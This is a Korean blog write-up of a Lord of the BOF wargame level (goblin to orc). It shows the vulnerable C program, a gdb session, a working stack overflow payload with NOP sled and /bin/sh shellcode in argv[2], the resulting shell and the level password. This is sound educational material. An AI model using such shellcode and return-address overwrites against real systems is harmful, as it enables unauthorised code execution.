2017. 11. 17. 13:18ㆍSystemHacking/LOB(BOF원정대)
goblin / hackers proof
[goblin@localhost goblin]$ /bin/bash2
[goblin@localhost goblin]$ export SHELL=/bin/bash2
[ orc.c ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter - 환경변수 부분 초기화 !! for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } | cs |
* 이전 문제에서 사용했던 환경변수 부분이 초기화 되고 있습니다
* 다른 곳에 쉘 코드를 올려서 RET주소를 해당 주소로 바꾸어야 합니다
[ Stack 구조 ]
i 4byte
buffer 40byte
saved ebp 4byte
saved eip RET
argc
argv[0] 실행파일의 이름의 주소가 위치한다
argv[1] 실행파일의 첫 번째 인자의 주소가 위치한다
argv[2] 실행파일의 두 번째 인자의 주소가 위치한다 <-- 이곳에 쉘코드를 올려서 사용하겠다
< 풀이 과정 >
[1] gdb 분석
[goblin@localhost goblin]$ cp orc orc.cp
[goblin@localhost goblin]$ gdb -q orc.cp
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
....
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
0x80485d8 <main+216>: nop
End of assembler dump.
(gdb) b *0x80485d6
Breakpoint 1 at 0x80485d6
[ payload 작성 ]
./orc $(python -c 'print "A" * 44 + "\x3c\xf7\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
=> 보정작업
[goblin@localhost goblin]$ ./orc $(python -c 'print "A" * 44 + "\x3c\xf9\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<▒▒▒
bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)
bash$ my-pass
euid = 504
cantata
'SystemHacking > LOB(BOF원정대)' 카테고리의 다른 글
[6] wolfman -> darkelf ( argv[2] 활용 ) (0) | 2017.11.17 |
---|---|
[5] orc -> wolfman ( argv[2] 활용 ) (0) | 2017.11.17 |
[3] cobolt -> goblin ( cat 명령어 ) (0) | 2017.11.17 |
[2] gremlin -> cobolt ( Small BOF ) (0) | 2017.11.17 |
[1] gate -> gremlin ( Simple BOF ) 문제풀이 및 유의사항 (0) | 2017.11.17 |